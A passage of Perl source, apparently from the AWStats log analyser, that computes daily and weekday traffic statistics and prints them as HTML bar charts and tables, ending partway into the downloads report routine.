13583	$NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
13584	$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
13585	$NewLinkParams =~ s/^&amp;//;
13586	$NewLinkParams =~ s/&amp;$//;
13587	if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
13588	my $NewLinkTarget = '';
13589
13590	if ( $FrameName eq 'mainright' ) {
13591		$NewLinkTarget = " target=\"_parent\"";
13592	}
13593
13594	my $title = "$Message[138]";
13595
13596    if ($AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
13597        # extend the title to include the added link
13598            $title = "$title &nbsp; - &nbsp; <a href=\"".(XMLEncode(
13599                "$AddLinkToExternalCGIWrapper". "?section=DAY&baseName=$DirData/$PROG"
13600           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
13601           . "&siteConfig=$SiteConfig" )
13602           . "\"$NewLinkTarget>$Message[179]</a>");
13603    }
13604
13605	&tab_head( "$title", 0, 0, 'daysofmonth' );
13606	print "<tr>";
13607	print "<td align=\"center\">\n";
13608	print "<center>\n";
13609
13610	my $average_v = my $average_p = 0;
13611	my $average_h = my $average_k = 0;
13612	my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0;
13613	my $max_v = my $max_h = my $max_k = 0;    # Start from 0 because can be lower than 1
13614	foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13615	{
13616		$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13617		my $year  = $1;
13618		my $month = $2;
13619		my $day   = $3;
13620		if ( !DateIsValid( $day, $month, $year ) ) {
13621			next;
13622		}    # If not an existing day, go to next
13623		$total_v += $DayVisits{ $year . $month . $day } || 0;
13624		$total_p += $DayPages{ $year . $month . $day }  || 0;
13625		$total_h += $DayHits{ $year . $month . $day }   || 0;
13626		$total_k += $DayBytes{ $year . $month . $day }  || 0;
13627		if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) {
13628			$max_v = $DayVisits{ $year . $month . $day };
13629		}
13630
13631#if (($DayPages{$year.$month.$day}||0) > $max_p)  { $max_p=$DayPages{$year.$month.$day}; }
13632		if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) {
13633			$max_h = $DayHits{ $year . $month . $day };
13634		}
13635		if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k ) {
13636			$max_k = $DayBytes{ $year . $month . $day };
13637		}
13638	}
13639    $average_v = sprintf( "%.2f", $AverageVisits );
13640    $average_p = sprintf( "%.2f", $AveragePages );
13641    $average_h = sprintf( "%.2f", $AverageHits );
13642    $average_k = sprintf( "%.2f", $AverageBytes );
13643
13644	# Show bars for day
13645	my $graphdone=0;
13646	foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
13647	{
13648		my @blocklabel = ();
13649		foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13650		{
13651			$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13652			my $year  = $1;
13653			my $month = $2;
13654			my $day   = $3;
13655			if ( !DateIsValid( $day, $month, $year ) ) {
13656				next;
13657			}    # If not an existing day, go to next
13658			my $bold =
13659			  (      $day == $nowday
13660				  && $month == $nowmonth
13661				  && $year == $nowyear ? ':' : '' );
13662			my $weekend =
13663			  ( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' );
13664			push @blocklabel,
13665			  "$day\n$MonthNumLib{$month}$weekend$bold";
13666		}
13667		my @vallabel = (
13668			"$Message[10]", "$Message[56]",
13669			"$Message[57]", "$Message[75]"
13670		);
13671		my @valcolor =
13672		  ( "$color_v", "$color_p", "$color_h", "$color_k" );
13673		my @valmax   = ( $max_v,   $max_h,   $max_h,   $max_k );
13674		my @valtotal = ( $total_v, $total_p, $total_h, $total_k );
13675		my @valaverage =
13676		  ( $average_v, $average_p, $average_h, $average_k );
13677		my @valdata = ();
13678		my $xx      = 0;
13679
13680		foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13681		{
13682			$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13683			my $year  = $1;
13684			my $month = $2;
13685			my $day   = $3;
13686			if ( !DateIsValid( $day, $month, $year ) ) {
13687				next;
13688			}    # If not an existing day, go to next
13689			$valdata[ $xx++ ] = $DayVisits{ $year . $month . $day }
13690			  || 0;
13691			$valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0;
13692			$valdata[ $xx++ ] = $DayHits{ $year . $month . $day }  || 0;
13693			$valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0;
13694		}
13695		my $function = "ShowGraph_$pluginname";
13696		&$function(
13697			"$title",              "daysofmonth",
13698			$ShowDaysOfMonthStats, \@blocklabel,
13699			\@vallabel,            \@valcolor,
13700			\@valmax,              \@valtotal,
13701			\@valaverage,          \@valdata
13702		);
13703		$graphdone=1;
13704	}
13705	# If graph was not printed by a plugin
13706	if (! $graphdone) {
13707		print "<table>\n";
13708		print "<tr valign=\"bottom\">\n";
13709		foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13710		{
13711			$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13712			my $year  = $1;
13713			my $month = $2;
13714			my $day   = $3;
13715			if ( !DateIsValid( $day, $month, $year ) ) {
13716				next;
13717			}    # If not an existing day, go to next
13718			my $bredde_v = 0;
13719			my $bredde_p = 0;
13720			my $bredde_h = 0;
13721			my $bredde_k = 0;
13722			if ( $max_v > 0 ) {
13723				$bredde_v =
13724				  int( ( $DayVisits{ $year . $month . $day } || 0 ) /
13725					  $max_v * $BarHeight ) + 1;
13726			}
13727			if ( $max_h > 0 ) {
13728				$bredde_p =
13729				  int( ( $DayPages{ $year . $month . $day } || 0 ) /
13730					  $max_h * $BarHeight ) + 1;
13731			}
13732			if ( $max_h > 0 ) {
13733				$bredde_h =
13734				  int( ( $DayHits{ $year . $month . $day } || 0 ) /
13735					  $max_h * $BarHeight ) + 1;
13736			}
13737			if ( $max_k > 0 ) {
13738				$bredde_k =
13739				  int( ( $DayBytes{ $year . $month . $day } || 0 ) /
13740					  $max_k * $BarHeight ) + 1;
13741			}
13742			print "<td>";
13743			if ( $ShowDaysOfMonthStats =~ /V/i ) {
13744				print
13745"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
13746				  . AltTitle( "$Message[10]: "
13747					  . int( $DayVisits{ $year . $month . $day } || 0 )
13748				  )
13749				  . " />";
13750			}
13751			if ( $ShowDaysOfMonthStats =~ /P/i ) {
13752				print
13753"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
13754				  . AltTitle( "$Message[56]: "
13755					  . int( $DayPages{ $year . $month . $day } || 0 ) )
13756				  . " />";
13757			}
13758			if ( $ShowDaysOfMonthStats =~ /H/i ) {
13759				print
13760"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
13761				  . AltTitle( "$Message[57]: "
13762					  . int( $DayHits{ $year . $month . $day } || 0 ) )
13763				  . " />";
13764			}
13765			if ( $ShowDaysOfMonthStats =~ /B/i ) {
13766				print
13767"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
13768				  . AltTitle(
13769					"$Message[75]: "
13770					  . Format_Bytes(
13771						$DayBytes{ $year . $month . $day }
13772					  )
13773				  )
13774				  . " />";
13775			}
13776			print "</td>\n";
13777		}
13778		print "<td>&nbsp;</td>";
13779
13780		# Show average value bars
13781		print "<td>";
13782		my $bredde_v = 0;
13783		my $bredde_p = 0;
13784		my $bredde_h = 0;
13785		my $bredde_k = 0;
13786		if ( $max_v > 0 ) {
13787			$bredde_v = int( $average_v / $max_v * $BarHeight ) + 1;
13788		}
13789		if ( $max_h > 0 ) {
13790			$bredde_p = int( $average_p / $max_h * $BarHeight ) + 1;
13791		}
13792		if ( $max_h > 0 ) {
13793			$bredde_h = int( $average_h / $max_h * $BarHeight ) + 1;
13794		}
13795		if ( $max_k > 0 ) {
13796			$bredde_k = int( $average_k / $max_k * $BarHeight ) + 1;
13797		}
13798		$average_v = sprintf( "%.2f", $average_v );
13799		$average_p = sprintf( "%.2f", $average_p );
13800		$average_h = sprintf( "%.2f", $average_h );
13801		$average_k = sprintf( "%.2f", $average_k );
13802		if ( $ShowDaysOfMonthStats =~ /V/i ) {
13803			print
13804"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
13805			  . AltTitle("$Message[10]: $average_v") . " />";
13806		}
13807		if ( $ShowDaysOfMonthStats =~ /P/i ) {
13808			print
13809"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
13810			  . AltTitle("$Message[56]: $average_p") . " />";
13811		}
13812		if ( $ShowDaysOfMonthStats =~ /H/i ) {
13813			print
13814"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
13815			  . AltTitle("$Message[57]: $average_h") . " />";
13816		}
13817		if ( $ShowDaysOfMonthStats =~ /B/i ) {
13818			print
13819"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
13820			  . AltTitle("$Message[75]: $average_k") . " />";
13821		}
13822		print "</td>\n";
13823		print "</tr>\n";
13824
13825		# Show lib for day
13826		print "<tr valign=\"middle\">";
13827		foreach
13828		  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13829		{
13830			$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13831			my $year  = $1;
13832			my $month = $2;
13833			my $day   = $3;
13834			if ( !DateIsValid( $day, $month, $year ) ) {
13835				next;
13836			}    # If not an existing day, go to next
13837			my $dayofweekcursor = DayOfWeek( $day, $month, $year );
13838			print "<td"
13839			  . (
13840				$dayofweekcursor =~ /[06]/
13841				? " bgcolor=\"#$color_weekend\""
13842				: ""
13843			  )
13844			  . ">";
13845			print(
13846				!$StaticLinks
13847				  && $day == $nowday
13848				  && $month == $nowmonth
13849				  && $year == $nowyear
13850				? '<span class="currentday">'
13851				: ''
13852			);
13853			print "$day<br /><span style=\"font-size: "
13854			  . (    $FrameName ne 'mainright'
13855				  && $QueryString !~ /buildpdf/i ? "9" : "8" )
13856			  . "px;\">"
13857			  . $MonthNumLib{$month}
13858			  . "</span>";
13859			print(   !$StaticLinks
13860				  && $day == $nowday
13861				  && $month == $nowmonth
13862				  && $year == $nowyear ? '</span>' : '' );
13863			print "</td>\n";
13864		}
13865		print "<td>&nbsp;</td>";
13866		print "<td valign=\"middle\""
13867		  . Tooltip(18)
13868		  . ">$Message[96]</td>\n";
13869		print "</tr>\n";
13870		print "</table>\n";
13871	}
13872	print "<br />\n";
13873
13874	# Show data array for days
13875	if ($AddDataArrayShowDaysOfMonthStats) {
13876		print "<table>\n";
13877		print
13878"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
13879		if ( $ShowDaysOfMonthStats =~ /V/i ) {
13880			print "<td width=\"80\" bgcolor=\"#$color_v\""
13881			  . Tooltip(1)
13882			  . ">$Message[10]</td>";
13883		}
13884		if ( $ShowDaysOfMonthStats =~ /P/i ) {
13885			print "<td width=\"80\" bgcolor=\"#$color_p\""
13886			  . Tooltip(3)
13887			  . ">$Message[56]</td>";
13888		}
13889		if ( $ShowDaysOfMonthStats =~ /H/i ) {
13890			print "<td width=\"80\" bgcolor=\"#$color_h\""
13891			  . Tooltip(4)
13892			  . ">$Message[57]</td>";
13893		}
13894		if ( $ShowDaysOfMonthStats =~ /B/i ) {
13895			print "<td width=\"80\" bgcolor=\"#$color_k\""
13896			  . Tooltip(5)
13897			  . ">$Message[75]</td>";
13898		}
13899		print "</tr>";
13900		foreach
13901		  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
13902		{
13903			$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
13904			my $year  = $1;
13905			my $month = $2;
13906			my $day   = $3;
13907			if ( !DateIsValid( $day, $month, $year ) ) {
13908				next;
13909			}    # If not an existing day, go to next
13910			my $dayofweekcursor = DayOfWeek( $day, $month, $year );
13911			print "<tr"
13912			  . (
13913				$dayofweekcursor =~ /[06]/
13914				? " bgcolor=\"#$color_weekend\""
13915				: ""
13916			  )
13917			  . ">";
13918			print "<td>"
13919			  . (
13920				!$StaticLinks
13921				  && $day == $nowday
13922				  && $month == $nowmonth
13923				  && $year == $nowyear
13924				? '<span class="currentday">'
13925				: ''
13926			  );
13927			print Format_Date( "$year$month$day" . "000000", 2 );
13928			print(   !$StaticLinks
13929				  && $day == $nowday
13930				  && $month == $nowmonth
13931				  && $year == $nowyear ? '</span>' : '' );
13932			print "</td>";
13933			if ( $ShowDaysOfMonthStats =~ /V/i ) {
13934				print "<td>",
13935				  Format_Number($DayVisits{ $year . $month . $day }
13936				  ? $DayVisits{ $year . $month . $day }
13937				  : "0"), "</td>";
13938			}
13939			if ( $ShowDaysOfMonthStats =~ /P/i ) {
13940				print "<td>",
13941				  Format_Number($DayPages{ $year . $month . $day }
13942				  ? $DayPages{ $year . $month . $day }
13943				  : "0"), "</td>";
13944			}
13945			if ( $ShowDaysOfMonthStats =~ /H/i ) {
13946				print "<td>",
13947				  Format_Number($DayHits{ $year . $month . $day }
13948				  ? $DayHits{ $year . $month . $day }
13949				  : "0"), "</td>";
13950			}
13951			if ( $ShowDaysOfMonthStats =~ /B/i ) {
13952				print "<td>",
13953				  Format_Bytes(
13954					int( $DayBytes{ $year . $month . $day } || 0 ) ),
13955				  "</td>";
13956			}
13957			print "</tr>\n";
13958		}
13959
13960		# Average row
13961		print
13962"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[96]</td>";
13963		if ( $ShowDaysOfMonthStats =~ /V/i ) {
13964			print "<td>".Format_Number(int($average_v))."</td>";
13965		}
13966		if ( $ShowDaysOfMonthStats =~ /P/i ) {
13967			print "<td>".Format_Number(int($average_p))."</td>";
13968		}
13969		if ( $ShowDaysOfMonthStats =~ /H/i ) {
13970			print "<td>".Format_Number(int($average_h))."</td>";
13971		}
13972		if ( $ShowDaysOfMonthStats =~ /B/i ) {
13973			print "<td>".Format_Bytes(int($average_k))."</td>";
13974		}
13975		print "</tr>\n";
13976
13977		# Total row
13978		print
13979"<tr bgcolor=\"#$color_TableBGRowTitle\"><td>$Message[102]</td>";
13980		if ( $ShowDaysOfMonthStats =~ /V/i ) {
13981			print "<td>".Format_Number($total_v)."</td>";
13982		}
13983		if ( $ShowDaysOfMonthStats =~ /P/i ) {
13984			print "<td>".Format_Number($total_p)."</td>";
13985		}
13986		if ( $ShowDaysOfMonthStats =~ /H/i ) {
13987			print "<td>".Format_Number($total_h)."</td>";
13988		}
13989		if ( $ShowDaysOfMonthStats =~ /B/i ) {
13990			print "<td>" . Format_Bytes($total_k) . "</td>";
13991		}
13992		print "</tr>\n";
13993		print "</table>\n<br />";
13994	}
13995
13996	print "</center>\n";
13997	print "</td></tr>\n";
13998	&tab_end();
13999}
14000
14001#------------------------------------------------------------------------------
14002# Function:     Prints the Days of the Week section on the main page
14003# Parameters:   $firstdaytocountaverage, $lastdaytocountaverage
14004# Input:        _
14005# Output:       HTML
14006# Return:       -
14007#------------------------------------------------------------------------------
14008sub HTMLMainDaysofWeek{
14009	my $firstdaytocountaverage = shift;
14010	my $lastdaytocountaverage = shift;
14011    my $NewLinkParams = shift;
14012    my $NewLinkTarget = shift;
14013
14014	if ($Debug) { debug( "ShowDaysOfWeekStats", 2 ); }
14015			print "$Center<a name=\"daysofweek\">&nbsp;</a><br />\n";
14016			my $title = "$Message[91]";
14017			&tab_head( "$title", 18, 0, 'daysofweek' );
14018			print "<tr>";
14019			print "<td align=\"center\">";
14020			print "<center>\n";
14021
14022			my $max_h = my $max_k = 0;    # Start from 0 because can be lower than 1
14023			                        # Get average value for day of week
14024			my @avg_dayofweek_nb = ();
14025			my @avg_dayofweek_p  = ();
14026			my @avg_dayofweek_h  = ();
14027			my @avg_dayofweek_k  = ();
14028			foreach my $daycursor (
14029				$firstdaytocountaverage .. $lastdaytocountaverage )
14030			{
14031				$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
14032				my $year  = $1;
14033				my $month = $2;
14034				my $day   = $3;
14035				if ( !DateIsValid( $day, $month, $year ) ) {
14036					next;
14037				}    # If not an existing day, go to next
14038				my $dayofweekcursor = DayOfWeek( $day, $month, $year );
14039				$avg_dayofweek_nb[$dayofweekcursor]
14040				  ++; # Increase number of day used to count for this day of week
14041				$avg_dayofweek_p[$dayofweekcursor] +=
14042				  ( $DayPages{$daycursor} || 0 );
14043				$avg_dayofweek_h[$dayofweekcursor] +=
14044				  ( $DayHits{$daycursor} || 0 );
14045				$avg_dayofweek_k[$dayofweekcursor] +=
14046				  ( $DayBytes{$daycursor} || 0 );
14047			}
14048			for (@DOWIndex) {
14049				if ( $avg_dayofweek_nb[$_] ) {
14050					$avg_dayofweek_p[$_] =
14051					  $avg_dayofweek_p[$_] / $avg_dayofweek_nb[$_];
14052					$avg_dayofweek_h[$_] =
14053					  $avg_dayofweek_h[$_] / $avg_dayofweek_nb[$_];
14054					$avg_dayofweek_k[$_] =
14055					  $avg_dayofweek_k[$_] / $avg_dayofweek_nb[$_];
14056
14057		  #if ($avg_dayofweek_p[$_] > $max_p) { $max_p = $avg_dayofweek_p[$_]; }
14058					if ( $avg_dayofweek_h[$_] > $max_h ) {
14059						$max_h = $avg_dayofweek_h[$_];
14060					}
14061					if ( $avg_dayofweek_k[$_] > $max_k ) {
14062						$max_k = $avg_dayofweek_k[$_];
14063					}
14064				}
14065				else {
14066					$avg_dayofweek_p[$_] = "?";
14067					$avg_dayofweek_h[$_] = "?";
14068					$avg_dayofweek_k[$_] = "?";
14069				}
14070			}
14071
14072			# Show bars for days of week
14073			my $graphdone=0;
14074			foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
14075			{
14076				my @blocklabel = ();
14077				for (@DOWIndex) {
14078					push @blocklabel,
14079					  ( $Message[ $_ + 84 ] . ( $_ =~ /[06]/ ? "!" : "" ) );
14080				}
14081				my @vallabel =
14082				  ( "$Message[56]", "$Message[57]", "$Message[75]" );
14083				my @valcolor = ( "$color_p", "$color_h", "$color_k" );
14084				my @valmax = ( int($max_h), int($max_h), int($max_k) );
14085				my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes );
14086				# TEMP
14087				my $average_p = my $average_h = my $average_k = 0;
14088				$average_p = sprintf( "%.2f", $AveragePages );
14089				$average_h = sprintf( "%.2f", $AverageHits );
14090				$average_k = (
14091					int($average_k)
14092					? Format_Bytes( sprintf( "%.2f", $AverageBytes ) )
14093					: "0.00"
14094				);
14095				my @valaverage = ( $average_p, $average_h, $average_k );
14096				my @valdata    = ();
14097				my $xx         = 0;
14098
14099				for (@DOWIndex) {
14100					$valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0;
14101					$valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0;
14102					$valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0;
14103
14104					# Round to be ready to show array
14105					$avg_dayofweek_p[$_] =
14106					  sprintf( "%.2f", $avg_dayofweek_p[$_] );
14107					$avg_dayofweek_h[$_] =
14108					  sprintf( "%.2f", $avg_dayofweek_h[$_] );
14109					$avg_dayofweek_k[$_] =
14110					  sprintf( "%.2f", $avg_dayofweek_k[$_] );
14111
14112					# Remove decimal part that are .0
14113					if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
14114						$avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
14115					}
14116					if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
14117						$avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
14118					}
14119				}
14120				my $function = "ShowGraph_$pluginname";
14121				&$function(
14122					"$title",             "daysofweek",
14123					$ShowDaysOfWeekStats, \@blocklabel,
14124					\@vallabel,           \@valcolor,
14125					\@valmax,             \@valtotal,
14126					\@valaverage,         \@valdata
14127				);
14128				$graphdone=1;
14129			}
14130			if (! $graphdone)
14131			{
14132				print "<table>\n";
14133				print "<tr valign=\"bottom\">\n";
14134				for (@DOWIndex) {
14135					my $bredde_p = 0;
14136					my $bredde_h = 0;
14137					my $bredde_k = 0;
14138					if ( $max_h > 0 ) {
14139						$bredde_p = int(
14140							(
14141								  $avg_dayofweek_p[$_] ne '?'
14142								? $avg_dayofweek_p[$_]
14143								: 0
14144							) / $max_h * $BarHeight
14145						) + 1;
14146					}
14147					if ( $max_h > 0 ) {
14148						$bredde_h = int(
14149							(
14150								  $avg_dayofweek_h[$_] ne '?'
14151								? $avg_dayofweek_h[$_]
14152								: 0
14153							) / $max_h * $BarHeight
14154						) + 1;
14155					}
14156					if ( $max_k > 0 ) {
14157						$bredde_k = int(
14158							(
14159								  $avg_dayofweek_k[$_] ne '?'
14160								? $avg_dayofweek_k[$_]
14161								: 0
14162							) / $max_k * $BarHeight
14163						) + 1;
14164					}
14165					$avg_dayofweek_p[$_] = sprintf(
14166						"%.2f",
14167						(
14168							  $avg_dayofweek_p[$_] ne '?'
14169							? $avg_dayofweek_p[$_]
14170							: 0
14171						)
14172					);
14173					$avg_dayofweek_h[$_] = sprintf(
14174						"%.2f",
14175						(
14176							  $avg_dayofweek_h[$_] ne '?'
14177							? $avg_dayofweek_h[$_]
14178							: 0
14179						)
14180					);
14181					$avg_dayofweek_k[$_] = sprintf(
14182						"%.2f",
14183						(
14184							  $avg_dayofweek_k[$_] ne '?'
14185							? $avg_dayofweek_k[$_]
14186							: 0
14187						)
14188					);
14189
14190					# Remove decimal part that are .0
14191					if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) {
14192						$avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] );
14193					}
14194					if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) {
14195						$avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] );
14196					}
14197					print "<td valign=\"bottom\">";
14198					if ( $ShowDaysOfWeekStats =~ /P/i ) {
14199						print
14200"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
14201						  . AltTitle("$Message[56]: $avg_dayofweek_p[$_]")
14202						  . " />";
14203					}
14204					if ( $ShowDaysOfWeekStats =~ /H/i ) {
14205						print
14206"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
14207						  . AltTitle("$Message[57]: $avg_dayofweek_h[$_]")
14208						  . " />";
14209					}
14210					if ( $ShowDaysOfWeekStats =~ /B/i ) {
14211						print
14212"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
14213						  . AltTitle( "$Message[75]: "
14214							  . Format_Bytes( $avg_dayofweek_k[$_] ) )
14215						  . " />";
14216					}
14217					print "</td>\n";
14218				}
14219				print "</tr>\n";
14220				print "<tr" . Tooltip(17) . ">\n";
14221				for (@DOWIndex) {
14222					print "<td"
14223					  . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
14224					  . ">"
14225					  . (
14226						!$StaticLinks
14227						  && $_ == ( $nowwday - 1 )
14228						  && $MonthRequired == $nowmonth
14229						  && $YearRequired == $nowyear
14230						? '<span class="currentday">'
14231						: ''
14232					  );
14233					print $Message[ $_ + 84 ];
14234					print(   !$StaticLinks
14235						  && $_ == ( $nowwday - 1 )
14236						  && $MonthRequired == $nowmonth
14237						  && $YearRequired == $nowyear ? '</span>' : '' );
14238					print "</td>";
14239				}
14240				print "</tr>\n</table>\n";
14241			}
14242			print "<br />\n";
14243
14244			# Show data array for days of week
14245			if ($AddDataArrayShowDaysOfWeekStats) {
14246				print "<table>\n";
14247				print
14248"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>";
14249				if ( $ShowDaysOfWeekStats =~ /P/i ) {
14250					print "<td width=\"80\" bgcolor=\"#$color_p\""
14251					  . Tooltip(3)
14252					  . ">$Message[56]</td>";
14253				}
14254				if ( $ShowDaysOfWeekStats =~ /H/i ) {
14255					print "<td width=\"80\" bgcolor=\"#$color_h\""
14256					  . Tooltip(4)
14257					  . ">$Message[57]</td>";
14258				}
14259				if ( $ShowDaysOfWeekStats =~ /B/i ) {
14260					print "<td width=\"80\" bgcolor=\"#$color_k\""
14261					  . Tooltip(5)
14262					  . ">$Message[75]</td></tr>";
14263				}
14264				for (@DOWIndex) {
14265					print "<tr"
14266					  . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
14267					  . ">";
14268					print "<td>"
14269					  . (
14270						!$StaticLinks
14271						  && $_ == ( $nowwday - 1 )
14272						  && $MonthRequired == $nowmonth
14273						  && $YearRequired == $nowyear
14274						? '<span class="currentday">'
14275						: ''
14276					  );
14277					print $Message[ $_ + 84 ];
14278					print(   !$StaticLinks
14279						  && $_ == ( $nowwday - 1 )
14280						  && $MonthRequired == $nowmonth
14281						  && $YearRequired == $nowyear ? '</span>' : '' );
14282					print "</td>";
14283					if ( $ShowDaysOfWeekStats =~ /P/i ) {
14284						print "<td>", Format_Number(int($avg_dayofweek_p[$_])), "</td>";
14285					}
14286					if ( $ShowDaysOfWeekStats =~ /H/i ) {
14287						print "<td>", Format_Number(int($avg_dayofweek_h[$_])), "</td>";
14288					}
14289					if ( $ShowDaysOfWeekStats =~ /B/i ) {
14290						print "<td>", Format_Bytes(int($avg_dayofweek_k[$_])),
14291						  "</td>";
14292					}
14293					print "</tr>\n";
14294				}
14295				print "</table>\n<br />\n";
14296			}
14297
14298			print "</center></td>";
14299			print "</tr>\n";
14300			&tab_end();
14301}
14302
14303#------------------------------------------------------------------------------
14304# Function:     Prints the Downloads chart and table
14305# Parameters:   -
14306# Input:        $NewLinkParams, $NewLinkTarget
14307# Output:       HTML
14308# Return:       -
14309#------------------------------------------------------------------------------
14310sub HTMLMainDownloads{
14311	my $NewLinkParams = shift;
14312	my $NewLinkTarget = shift;
14313	if (!$LevelForFileTypesDetection > 0){return;}
14314	if ($Debug) { debug( "ShowDownloadStats", 2 ); }
14315	my $regext         = qr/\.(\w{1,6})$/;
14316	print "$Center<a name=\"downloads\">&nbsp;</a><br />\n";
14317	my $Totalh = 0;
14318	if ($MaxNbOf{'DownloadsShown'} < 1){$MaxNbOf{'DownloadsShown'} = 10;}	# default if undefined
14319	my $title =
14320	  "$Message[178] ($Message[77] $MaxNbOf{'DownloadsShown'}) &nbsp; - &nbsp; <a href=\""
14321	  . (
14322		$ENV{'GATEWAY_INTERFACE'}
14323		  || !$StaticLinks
14324		? XMLEncode("$AWScript${NewLinkParams}output=downloads")
14325		: "$StaticLinks.downloads.$StaticExt"
14326	  )
14327	  . "\"$NewLinkTarget>$Message[80]</a>";
14328
14329    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
14330        # extend the title to include the added link
14331            $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
14332                "$AddLinkToExternalCGIWrapper" . "?section=DOWNLOADS&baseName=$DirData/$PROG"
14333            . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
14334            . "&siteConfig=$SiteConfig" )
14335            . "\"$NewLinkTarget>$Message[179]</a>");
14336    }
14337
14338	&tab_head( "$title", 0, 0, 'downloads' );
14339	my $cnt=0;
14340	for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
14341		$Totalh += $_downloads{$u}->{'AWSTATS_HITS'};
14342		$cnt++;
14343		if ($cnt > 4){last;}
14344	}
14345	# Graph the top five in a pie chart
14346	if (($Totalh > 0) and (scalar keys %_downloads > 1)){
14347		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
14348		{
14349			my @blocklabel = ();
14350			my @valdata = ();
14351			my @valcolor = ($color_p);
14352			my $cnt = 0;
14353			for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
14354				push @valdata, ($_downloads{$u}->{'AWSTATS_HITS'} / $Totalh * 1000 ) / 10;
14355				push @blocklabel, Get_Filename($u);
14356				$cnt++;
14357				if ($cnt > 4) { last; }
14358			}
14359			my $columns = 2;
14360			if ($ShowDownloadsStats =~ /H/i){$columns += length($ShowDownloadsStats)+1;}
14361			else{$columns += length($ShowDownloadsStats);}
14362			print "<tr><td colspan=\"$columns\">";
14363			my $function = "ShowGraph_$pluginname";
14364			&$function(
14365				"$Message[80]",              "downloads",
14366				0, 						\@blocklabel,
14367				0,           			\@valcolor,
14368				0,              		0,
14369				0,          			\@valdata
14370			);
14371			print "</td></tr>";
14372		}
14373	}
14374
14375	my $total_dls = scalar keys %_downloads;
14376	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]: $total_dls</th>";
14377	if ( $ShowDownloadsStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"
14378		."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; }
14379	if ( $ShowDownloadsStats =~ /B/i ){
14380		print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
